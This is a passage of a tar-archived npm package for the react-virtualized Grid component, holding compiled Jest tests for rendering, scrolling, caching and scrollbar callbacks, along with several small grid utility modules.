    it('should clear cache if :recomputeGridSize is called', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref14) {
        var columnIndex = _ref14.columnIndex,
            key = _ref14.key,
            rowIndex = _ref14.rowIndex,
            style = _ref14.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        scrollTop: 0,
        width: 100
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      simulateScroll({
        grid: grid,
        scrollTop: 1
      });
      cellRendererCalls.splice(0);
      grid.recomputeGridSize();
      expect(cellRendererCalls.length).not.toEqual(0);
    });
    it('should not clear cache if :isScrollingOptOut is true', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref15) {
        var columnIndex = _ref15.columnIndex,
            key = _ref15.key,
            rowIndex = _ref15.rowIndex,
            style = _ref15.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        scrollTop: 0,
        width: 100,
        isScrollingOptOut: true
      };
      (0, _TestUtils.render)(getMarkup(props));
      (0, _TestUtils.render)(getMarkup(props));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      cellRendererCalls.splice(0);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        isScrolling: false
      }))); // Visible cells are cached

      expect(cellRendererCalls.length).toEqual(0);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        isScrolling: true
      }))); // Only cleared non-visible cells

      expect(cellRendererCalls.length).toEqual(0);
    });
    it('should not trigger render by _debounceScrollEndedCallback if process slow table', function _callee5() {
      var scrollingResetTimeInterval, cellRangeRendererCalls, cellRangeRenderer, props, grid, i;
      return _regenerator["default"].async(function _callee5$(_context5) {
        while (1) {
          switch (_context5.prev = _context5.next) {
            case 0:
              cellRangeRenderer = function _ref16(props) {
                var startTime = Date.now();

                while (Date.now() - startTime <= scrollingResetTimeInterval) {
                  ;
                } // imitate very slow render


                cellRangeRendererCalls++;
                return (0, _defaultCellRangeRenderer["default"])(props);
              };

              scrollingResetTimeInterval = 50;
              cellRangeRendererCalls = 0;
              props = {
                scrollingResetTimeInterval: scrollingResetTimeInterval,
                cellRangeRenderer: cellRangeRenderer
              };
              grid = (0, _TestUtils.render)(getMarkup(props));
              (0, _TestUtils.render)(getMarkup(props));
              expect(cellRangeRendererCalls).toEqual(1);
              i = 1;

            case 8:
              if (!(i <= 5)) {
                _context5.next = 17;
                break;
              }

              cellRangeRendererCalls = 0;
              simulateScroll({
                grid: grid,
                scrollTop: i
              }); // small wait for maybe early _debounceScrollEndedCallback

              _context5.next = 13;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, scrollingResetTimeInterval / 2);
              }));

            case 13:
              expect(cellRangeRendererCalls).toEqual(1);

            case 14:
              i++;
              _context5.next = 8;
              break;

            case 17:
              cellRangeRendererCalls = 0; // wait for real _debounceScrollEndedCallback

              _context5.next = 20;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, scrollingResetTimeInterval * 1.5);
              }));

            case 20:
              expect(cellRangeRendererCalls).toEqual(1);

            case 21:
            case "end":
              return _context5.stop();
          }
        }
      });
    });
    it('should support a custom :scrollingResetTimeInterval prop', function _callee6(done) {
      var cellRendererCalls, scrollingResetTimeInterval, cellRenderer, props, grid;
      return _regenerator["default"].async(function _callee6$(_context6) {
        while (1) {
          switch (_context6.prev = _context6.next) {
            case 0:
              cellRenderer = function _ref18(_ref17) {
                var columnIndex = _ref17.columnIndex,
                    key = _ref17.key,
                    rowIndex = _ref17.rowIndex,
                    style = _ref17.style;
                cellRendererCalls.push({
                  columnIndex: columnIndex,
                  rowIndex: rowIndex
                });
                return defaultCellRenderer({
                  columnIndex: columnIndex,
                  key: key,
                  rowIndex: rowIndex,
                  style: style
                });
              };

              cellRendererCalls = [];
              scrollingResetTimeInterval = _Grid.DEFAULT_SCROLLING_RESET_TIME_INTERVAL * 2;
              props = {
                cellRenderer: cellRenderer,
                scrollingResetTimeInterval: scrollingResetTimeInterval
              };
              grid = (0, _TestUtils.render)(getMarkup(props));
              expect(cellRendererCalls.length > 0).toEqual(true);
              simulateScroll({
                grid: grid,
                scrollTop: 1
              });
              _context6.next = 9;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, _Grid.DEFAULT_SCROLLING_RESET_TIME_INTERVAL);
              }));

            case 9:
              cellRendererCalls.splice(0);
              (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
                className: 'foo'
              })));
              expect(cellRendererCalls.length).toEqual(0);
              _context6.next = 14;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, _Grid.DEFAULT_SCROLLING_RESET_TIME_INTERVAL * 2);
              }));

            case 14:
              cellRendererCalls.splice(0);
              (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
                className: 'bar'
              })));
              expect(cellRendererCalls.length).not.toEqual(0);
              done();

            case 18:
            case "end":
              return _context6.stop();
          }
        }
      });
    });
  });
  describe('measureAllCells', function () {
    it('should measure any unmeasured columns and rows', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        columnCount: 10,
        columnWidth: function columnWidth() {
          return 100;
        },
        estimatedColumnSize: 150,
        estimatedRowSize: 15,
        height: 0,
        rowCount: 10,
        rowHeight: function rowHeight() {
          return 20;
        },
        width: 0
      }));
      expect(grid.state.instanceProps.columnSizeAndPositionManager.getTotalSize()).toEqual(1500);
      expect(grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(150);
      grid.measureAllCells();
      expect(grid.state.instanceProps.columnSizeAndPositionManager.getTotalSize()).toEqual(1000);
      expect(grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(200);
    });
  });
  describe('recomputeGridSize', function () {
    it('should recompute cell sizes and other values when called', function () {
      var columnIndices = [];
      var rowIndices = [];

      function columnWidth(_ref19) {
        var index = _ref19.index;
        columnIndices.push(index);
        return 10;
      }

      function rowHeight(_ref20) {
        var index = _ref20.index;
        rowIndices.push(index);
        return 10;
      }

      var props = {
        columnCount: 50,
        columnWidth: columnWidth,
        height: 50,
        rowHeight: rowHeight,
        rowCount: 50,
        width: 100
      };
      var component = (0, _TestUtils.render)(getMarkup(props));
      columnIndices.splice(0);
      rowIndices.splice(0);
      component.recomputeGridSize(); // Only the rows required to fill the current viewport will be rendered

      expect(columnIndices[0]).toEqual(0);
      expect(columnIndices[columnIndices.length - 1]).toEqual(9);
      expect(rowIndices[0]).toEqual(0);
      expect(rowIndices[rowIndices.length - 1]).toEqual(4);
      columnIndices.splice(0);
      rowIndices.splice(0);
      component.recomputeGridSize({
        columnIndex: 4,
        rowIndex: 2
      }); // Only the rows required to fill the current viewport will be rendered

      expect(columnIndices[0]).toEqual(4);
      expect(columnIndices[columnIndices.length - 1]).toEqual(9);
      expect(rowIndices[0]).toEqual(2);
      expect(rowIndices[rowIndices.length - 1]).toEqual(4);
    });
  });
  describe('autoContainerWidth', function () {
    it('should set the innerScrollContainer width to auto to better support single-column HOCs', function () {
      var props = {
        autoContainerWidth: true
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('auto');
    });
    it('should set the innerScrollContainer width to :totalColumnsWidth unless :autoContainerWidth', function () {
      var props = {
        autoContainerWidth: false
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('2500px'); // 50 columns x 50px
    });
  });
  describe('autoHeight', function () {
    it('should set the container height to auto to adjust to innerScrollContainer height', function () {
      var props = {
        autoHeight: true
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(rendered.style.height).toEqual('auto');
    });
    it('should have container height still affecting number of rows rendered', function () {
      var props = {
        height: 500,
        autoHeight: true
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(100); // 25 rows x 4 columns
    });
    it('should have innerScrollContainer height to be equal number of rows * rowHeight', function () {
      var props = {
        autoHeight: true
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      var rendered = (0, _reactDom.findDOMNode)(grid);
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.height).toEqual('2000px'); // 100 rows * 20px rowHeight

      expect(grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(2000);
    });
  });
  describe('autoWidth', function () {
    it('should set the container width to auto to adjust to innerScrollContainer width', function () {
      var props = {
        autoWidth: true
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(rendered.style.width).toEqual('auto');
    });
    it('should have container width still affecting number of columns rendered', function () {
      var props = {
        width: 500,
        autoWidth: true
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(props)));
      expect(rendered.querySelectorAll('.gridItem').length).toEqual(50); // 5 rows x 10 columns
    });
    it('should have innerScrollContainer width to be equal number of columns * columnWidth', function () {
      var props = {
        autoWidth: true
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      var rendered = (0, _reactDom.findDOMNode)(grid);
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('2500px'); // 50 columns * 50px columnWidth

      expect(grid.state.instanceProps.columnSizeAndPositionManager.getTotalSize()).toEqual(2500);
    });
  });
  describe('tabIndex', function () {
    it('should be focusable by default', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.tabIndex).toEqual(0);
    });
    it('should allow tabIndex to be overridden', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        tabIndex: -1
      })));
      expect(rendered.tabIndex).toEqual(-1);
    });
  });
  describe('role', function () {
    it('should have grid role by default', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.getAttribute('role')).toEqual('grid');
    });
    it('should allow role to be overridden', function () {
      var role = null;
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        role: role
      })));
      expect(rendered.getAttribute('role')).toEqual(role);
    });
  });
  describe('pure', function () {
    it('should not re-render unless props have changed', function () {
      var cellRendererCalled = false;

      function cellRenderer(_ref21) {
        var key = _ref21.key,
            style = _ref21.style;
        cellRendererCalled = true;
        return React.createElement("div", {
          key: key,
          style: style
        });
      }

      var markup = getMarkup({
        cellRenderer: cellRenderer
      });
      (0, _TestUtils.render)(markup);
      expect(cellRendererCalled).toEqual(true);
      cellRendererCalled = false;
      (0, _TestUtils.render)(markup);
      expect(cellRendererCalled).toEqual(false);
    });
    it('should not re-render grid components if they extend PureComponent', function () {
      var componentUpdates = 0;

      var GridComponent =
      /*#__PURE__*/
      function (_React$PureComponent) {
        (0, _inherits2["default"])(GridComponent, _React$PureComponent);

        function GridComponent() {
          (0, _classCallCheck2["default"])(this, GridComponent);
          return (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(GridComponent).apply(this, arguments));
        }

        (0, _createClass2["default"])(GridComponent, [{
          key: "componentDidUpdate",
          value: function componentDidUpdate() {
            componentUpdates++;
          }
        }, {
          key: "render",
          value: function render() {
            var _this$props = this.props,
                columnIndex = _this$props.columnIndex,
                rowIndex = _this$props.rowIndex,
                style = _this$props.style;
            return React.createElement("div", {
              className: "gridItem",
              style: style
            }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
          }
        }]);
        return GridComponent;
      }(React.PureComponent);

      function cellRenderer(_ref22) {
        var columnIndex = _ref22.columnIndex,
            key = _ref22.key,
            rowIndex = _ref22.rowIndex,
            style = _ref22.style;
        return React.createElement(GridComponent, {
          key: key,
          columnIndex: columnIndex,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        scrollTop: 0,
        width: 100
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      simulateScroll({
        grid: grid,
        scrollToIndex: 1
      });
      expect(componentUpdates).toEqual(0);
    });
    it('should clear all but the visible rows from the style cache once :isScrolling is false', function _callee7(done) {
      var props, grid;
      return _regenerator["default"].async(function _callee7$(_context7) {
        while (1) {
          switch (_context7.prev = _context7.next) {
            case 0:
              props = {
                columnWidth: 50,
                height: 100,
                overscanColumnCount: 0,
                overscanRowCount: 0,
                rowHeight: 50,
                width: 100
              };
              grid = (0, _TestUtils.render)(getMarkup(props));
              expect(Object.keys(grid._styleCache).length).toBe(4);
              simulateScroll({
                grid: grid,
                scrollTop: 50
              });
              expect(Object.keys(grid._styleCache).length).toBe(6); // Allow scrolling timeout to complete so that cell cache is reset

              _context7.next = 7;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, _Grid.DEFAULT_SCROLLING_RESET_TIME_INTERVAL * 2);
              }));

            case 7:
              expect(Object.keys(grid._styleCache).length).toBe(4);
              done();

            case 9:
            case "end":
              return _context7.stop();
          }
        }
      });
    });
    it('should clear style cache if :recomputeGridSize is called', function () {
      var props = {
        columnWidth: 50,
        height: 100,
        overscanColumnCount: 0,
        overscanRowCount: 0,
        rowHeight: 50,
        width: 100
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      expect(Object.keys(grid._styleCache).length).toBe(4);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        scrollTop: 50
      })));
      expect(Object.keys(grid._styleCache).length).toBe(6);
      grid.recomputeGridSize();
      expect(Object.keys(grid._styleCache).length).toBe(4);
    });
    it('should clear style cache if cell sizes change', function () {
      var cellRendererCalls = [];

      function cellRenderer(params) {
        cellRendererCalls.push(params);
        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 100,
        overscanColumnCount: 0,
        overscanRowCount: 0,
        rowHeight: 100,
        width: 100
      };
      (0, _TestUtils.render)(getMarkup(props));
      expect(cellRendererCalls.length).toEqual(1);
      expect(cellRendererCalls[0].style.width).toEqual(100);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        columnWidth: 50,
        width: 50
      })));
      expect(cellRendererCalls.length).toEqual(2);
      expect(cellRendererCalls[1].style.width).toEqual(50);
    });
  });
  it('should not pull from the style cache while scrolling if there is an offset adjustment', function () {
    var cellRendererCalls = [];

    function cellRenderer(params) {
      cellRendererCalls.push(params);
      return React.createElement("div", {
        key: params.key,
        style: params.style
      });
    }

    var grid = (0, _TestUtils.render)(getMarkup({
      cellRenderer: cellRenderer,
      width: 100,
      height: 100,
      rowHeight: 100,
      columnWidth: 100,
      rowCount: (0, _maxElementSize.getMaxElementSize)() * 2 / 100,
      // lots of offset
      scrollTop: 2000
    }));
    simulateScroll({
      grid: grid,
      scrollTop: 2100
    }); // cellRendererCalls[0] is the element at rowIndex 0
    // only two calls. Since the scrollTop is updated in getDerivedStateFromProps

    var firstProps = cellRendererCalls[0];
    var secondProps = cellRendererCalls[1];
    expect(cellRendererCalls.length).toEqual(2);
    expect(firstProps.style).not.toBe(secondProps.style);
  });
  it('should only cache styles when a :deferredMeasurementCache is provided if the cell has already been measured', function () {
    var cache = new _CellMeasurer.CellMeasurerCache({
      fixedWidth: true
    });
    cache.set(0, 0, 100, 100);
    cache.set(1, 1, 100, 100);
    var grid = (0, _TestUtils.render)(getMarkup({
      columnCount: 2,
      deferredMeasurementCache: cache,
      rowCount: 2
    }));
    var keys = Object.keys(grid._styleCache);
    expect(keys).toEqual(['0-0', '1-1']);
  });
  describe('DEV warnings', function () {
    it('should warn about cells that forget to include the :style property', function () {
      spyOn(console, 'warn');

      function cellRenderer(params) {
        return React.createElement("div", {
          key: params.key
        });
      }

      (0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer
      }));
      expect(console.warn).toHaveBeenCalledWith('Rendered cell should include style property for positioning.');
      expect(console.warn).toHaveBeenCalledTimes(1);
    });
    it('should warn about CellMeasurer measured cells that forget to include the :style property', function () {
      spyOn(console, 'warn');
      var cache = new _CellMeasurer.CellMeasurerCache({
        fixedWidth: true
      });
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (params) {
        return React.createElement(_CellMeasurer.CellMeasurer, {
          cache: cache,
          columnIndex: params.columnIndex,
          key: params.key,
          parent: params.parent,
          rowIndex: params.rowIndex,
          style: params.style
        }, React.createElement("div", null));
      });
      (0, _TestUtils.render)(getMarkup({
        cellRenderer: cellRenderer,
        columnCount: 1,
        deferredMeasurementCache: cache,
        rowCount: 1
      }));
      expect(console.warn).toHaveBeenCalledWith('Rendered cell should include style property for positioning.');
      expect(console.warn).toHaveBeenCalledTimes(1);
    });
  });
  describe('deferredMeasurementCache', function () {
    it('invalidateCellSizeAfterRender should invalidate cache and refresh displayed cells after mount', function () {
      var cache = new _CellMeasurer.CellMeasurerCache({
        fixedWidth: true
      });
      var invalidateCellSizeAfterRender = true;
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (params) {
        // Don't get stuck in a loop
        if (invalidateCellSizeAfterRender) {
          invalidateCellSizeAfterRender = false;
          params.parent.invalidateCellSizeAfterRender({
            columnIndex: 1,
            rowIndex: 0
          });
        }

        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      });
      var props = {
        cellRenderer: cellRenderer,
        columnCount: 2,
        deferredMeasurementCache: cache,
        rowCount: 2
      };
      (0, _TestUtils.render)(getMarkup(props)); // 4 times for initial render + 4 once cellCache was cleared

      expect(cellRenderer).toHaveBeenCalledTimes(8);
    });
    it('should invalidate cache and refresh displayed cells after update', function () {
      var cache = new _CellMeasurer.CellMeasurerCache({
        fixedWidth: true
      });
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (params) {
        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      });
      var props = {
        cellRenderer: cellRenderer,
        columnCount: 2,
        deferredMeasurementCache: cache,
        rowCount: 2
      };
      var grid = (0, _TestUtils.render)(getMarkup(props));
      expect(cellRenderer).toHaveBeenCalledTimes(4);
      var invalidateCellSizeAfterRender = false;
      cellRenderer.mockReset();
      cellRenderer.mockImplementation(function (params) {
        // Don't get stuck in a loop
        if (invalidateCellSizeAfterRender) {
          invalidateCellSizeAfterRender = false;
          params.parent.invalidateCellSizeAfterRender({
            columnIndex: 1,
            rowIndex: 0
          });
        }

        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      });
      invalidateCellSizeAfterRender = true;
      grid.recomputeGridSize(); // 4 times for initial render + 4 once cellCache was cleared

      expect(cellRenderer).toHaveBeenCalledTimes(8);
    });
    it('should not cache cells until they have been measured by CellMeasurer', function () {
      var cache = new _CellMeasurer.CellMeasurerCache({
        fixedWidth: true
      }); // Fake measure cell 0,0 but not cell 0,1

      cache.set(0, 0, 100, 30);
      var cellRenderer = jest.fn();
      cellRenderer.mockImplementation(function (params) {
        return React.createElement("div", {
          key: params.key,
          style: params.style
        });
      });
      var props = {
        cellRenderer: cellRenderer,
        columnCount: 2,
        deferredMeasurementCache: cache,
        rowCount: 1
      }; // Trigger 2 renders
      // The second render should re-use the style for cell 0,0
      // But should not re-use the style for cell 0,1 since it was not measured

      var grid = (0, _TestUtils.render)(getMarkup(props));
      grid.forceUpdate(); // 0,0 - 0,1 - 0,0 - 0,1

      expect(cellRenderer).toHaveBeenCalledTimes(4);
      var style00A = cellRenderer.mock.calls[0][0].style;
      var style01A = cellRenderer.mock.calls[1][0].style;
      var style00B = cellRenderer.mock.calls[2][0].style;
      var style01B = cellRenderer.mock.calls[3][0].style;
      expect(style00A).toBe(style00B);
      expect(style01A).not.toBe(style01B);
    });
  });
  describe('onScrollbarPresenceChange', function () {
    it('should not trigger on-mount if scrollbars are hidden', function () {
      var onScrollbarPresenceChange = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
    });
    it('should trigger on-mount if scrollbars are visible', function () {
      var onScrollbarPresenceChange = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 100
      }));
      expect(onScrollbarPresenceChange).toHaveBeenCalled();
      var args = onScrollbarPresenceChange.mock.calls[0][0];
      expect(args.horizontal).toBe(true);
      expect(args.size).toBe(getScrollbarSize20());
      expect(args.vertical).toBe(true);
    });
    it('should trigger on-update if scrollbar visibility has changed', function () {
      var onScrollbarPresenceChange = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 100,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 100
      }));
      expect(onScrollbarPresenceChange).toHaveBeenCalled();
      var args = onScrollbarPresenceChange.mock.calls[0][0];
      expect(args.horizontal).toBe(true);
      expect(args.size).toBe(getScrollbarSize20());
      expect(args.vertical).toBe(true);
    });
    it('should not trigger on-update if scrollbar visibility does not change', function () {
      var onScrollbarPresenceChange = jest.fn();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 1,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 1
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
      (0, _TestUtils.render)(getMarkup({
        columnCount: 2,
        getScrollbarSize: getScrollbarSize20,
        onScrollbarPresenceChange: onScrollbarPresenceChange,
        rowCount: 2
      }));
      expect(onScrollbarPresenceChange).not.toHaveBeenCalled();
    });
  });
  it('should not complain when using react-test-renderer', function () {
    var instance = _reactTestRenderer["default"].create(getMarkup()).getInstance();

    expect(instance).toBeTruthy();
  });
});commonjs/Grid/accessibilityOverscanIndicesGetter.js000064400000003422151677406000016625 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = defaultOverscanIndicesGetter;
exports.SCROLL_DIRECTION_VERTICAL = exports.SCROLL_DIRECTION_HORIZONTAL = exports.SCROLL_DIRECTION_FORWARD = exports.SCROLL_DIRECTION_BACKWARD = void 0;

var _types = require("./types");

var SCROLL_DIRECTION_BACKWARD = -1;
exports.SCROLL_DIRECTION_BACKWARD = SCROLL_DIRECTION_BACKWARD;
var SCROLL_DIRECTION_FORWARD = 1;
exports.SCROLL_DIRECTION_FORWARD = SCROLL_DIRECTION_FORWARD;
var SCROLL_DIRECTION_HORIZONTAL = 'horizontal';
exports.SCROLL_DIRECTION_HORIZONTAL = SCROLL_DIRECTION_HORIZONTAL;
var SCROLL_DIRECTION_VERTICAL = 'vertical';
/**
 * Calculates the number of cells to overscan before and after a specified range.
 * This function ensures that overscanning doesn't exceed the available cells.
 */

exports.SCROLL_DIRECTION_VERTICAL = SCROLL_DIRECTION_VERTICAL;

function defaultOverscanIndicesGetter(_ref) {
  var cellCount = _ref.cellCount,
      overscanCellsCount = _ref.overscanCellsCount,
      scrollDirection = _ref.scrollDirection,
      startIndex = _ref.startIndex,
      stopIndex = _ref.stopIndex;
  // Make sure we render at least 1 cell extra before and after (except near boundaries)
  // This is necessary in order to support keyboard navigation (TAB/SHIFT+TAB) in some cases
  // For more info see issues #625
  overscanCellsCount = Math.max(1, overscanCellsCount);

  if (scrollDirection === SCROLL_DIRECTION_FORWARD) {
    return {
      overscanStartIndex: Math.max(0, startIndex - 1),
      overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)
    };
  } else {
    return {
      overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),
      overscanStopIndex: Math.min(cellCount - 1, stopIndex + 1)
    };
  }
}commonjs/Grid/utils/maxElementSize.js000064400000001104151677406000013710 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.getMaxElementSize = void 0;
var DEFAULT_MAX_ELEMENT_SIZE = 1500000;
var CHROME_MAX_ELEMENT_SIZE = 1.67771e7;

var isBrowser = function isBrowser() {
  return typeof window !== 'undefined';
};

var isChrome = function isChrome() {
  return !!window.chrome;
};

var getMaxElementSize = function getMaxElementSize() {
  if (isBrowser()) {
    if (isChrome()) {
      return CHROME_MAX_ELEMENT_SIZE;
    }
  }

  return DEFAULT_MAX_ELEMENT_SIZE;
};

exports.getMaxElementSize = getMaxElementSize;commonjs/Grid/utils/updateScrollIndexHelper.js000064400000004531151677406000015556 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = updateScrollIndexHelper;

var _ScalingCellSizeAndPositionManager = _interopRequireDefault(require("./ScalingCellSizeAndPositionManager.js"));

var _types = require("../types");

function updateScrollIndexHelper(_ref) {
  var cellSize = _ref.cellSize,
      cellSizeAndPositionManager = _ref.cellSizeAndPositionManager,
      previousCellsCount = _ref.previousCellsCount,
      previousCellSize = _ref.previousCellSize,
      previousScrollToAlignment = _ref.previousScrollToAlignment,
      previousScrollToIndex = _ref.previousScrollToIndex,
      previousSize = _ref.previousSize,
      scrollOffset = _ref.scrollOffset,
      scrollToAlignment = _ref.scrollToAlignment,
      scrollToIndex = _ref.scrollToIndex,
      size = _ref.size,
      sizeJustIncreasedFromZero = _ref.sizeJustIncreasedFromZero,
      updateScrollIndexCallback = _ref.updateScrollIndexCallback;
  var cellCount = cellSizeAndPositionManager.getCellCount();
  var hasScrollToIndex = scrollToIndex >= 0 && scrollToIndex < cellCount;
  var sizeHasChanged = size !== previousSize || sizeJustIncreasedFromZero || !previousCellSize || typeof cellSize === 'number' && cellSize !== previousCellSize; // If we have a new scroll target OR if height/row-height has changed,
  // We should ensure that the scroll target is visible.

  if (hasScrollToIndex && (sizeHasChanged || scrollToAlignment !== previousScrollToAlignment || scrollToIndex !== previousScrollToIndex)) {
    updateScrollIndexCallback(scrollToIndex); // If we don't have a selected item but list size or number of children have decreased,
    // Make sure we aren't scrolled too far past the current content.
  } else if (!hasScrollToIndex && cellCount > 0 && (size < previousSize || cellCount < previousCellsCount)) {
    // We need to ensure that the current scroll offset is still within the collection's range.
    // To do this, we don't need to measure everything; CellMeasurer would perform poorly.
    // Just check to make sure we're still okay.
    // Only adjust the scroll position if we've scrolled below the last set of rows.
    if (scrollOffset > cellSizeAndPositionManager.getTotalSize() - size) {
      updateScrollIndexCallback(cellCount - 1);
    }
  }
}commonjs/Grid/utils/ScalingCellSizeAndPositionManager.jest.js000064400000014355151677406000020414 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _ScalingCellSizeAndPositionManager = _interopRequireDefault(require("./ScalingCellSizeAndPositionManager"));

describe('ScalingCellSizeAndPositionManager', function () {
  function init() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$cellCount = _ref.cellCount,
        cellCount = _ref$cellCount === void 0 ? 10 : _ref$cellCount,
        _ref$cellSize = _ref.cellSize,
        cellSize = _ref$cellSize === void 0 ? 10 : _ref$cellSize,
        _ref$estimatedCellSiz = _ref.estimatedCellSize,
        estimatedCellSize = _ref$estimatedCellSiz === void 0 ? 10 : _ref$estimatedCellSiz,
        _ref$maxScrollSize = _ref.maxScrollSize,
        maxScrollSize = _ref$maxScrollSize === void 0 ? 50 : _ref$maxScrollSize;

    var cellSizeAndPositionManager = new _ScalingCellSizeAndPositionManager["default"]({
      cellCount: cellCount,
      cellSizeGetter: function cellSizeGetter() {
        return cellSize;
      },
      estimatedCellSize: estimatedCellSize,
      maxScrollSize: maxScrollSize
    });
    return cellSizeAndPositionManager;
  }

  describe('_getOffsetPercentage', function () {
    it('should return the correct offset fraction', function () {
      var expectations = [{
        offset: 0,
        expectedOffsetPercentage: 0
      }, {
        offset: 35,
        expectedOffsetPercentage: 0.5
      }, {
        offset: 70,
        expectedOffsetPercentage: 1
      }];
      var instance = init();
      expectations.forEach(function (expectation) {
        expect(instance._getOffsetPercentage({
          containerSize: 30,
          offset: expectation.offset,
          totalSize: 100
        })).toBe(expectation.expectedOffsetPercentage);
      });
    });
  });
  describe('getOffsetAdjustment', function () {
    it('should always return 0 as the adjustment for unscaled lists', function () {
      var maxScrollSizes = [100, 150];
      maxScrollSizes.forEach(function (maxScrollSize) {
        var instance = init({
          cellCount: 10,
          maxScrollSize: maxScrollSize
        });
        var offsets = [0, 35, 70];
        offsets.forEach(function (offset) {
          expect(instance.getOffsetAdjustment({
            containerSize: 30,
            offset: offset
          })).toBe(0);
        });
      });
    });
    it('should properly scale an offset at the beginning, middle, and end of the list', function () {
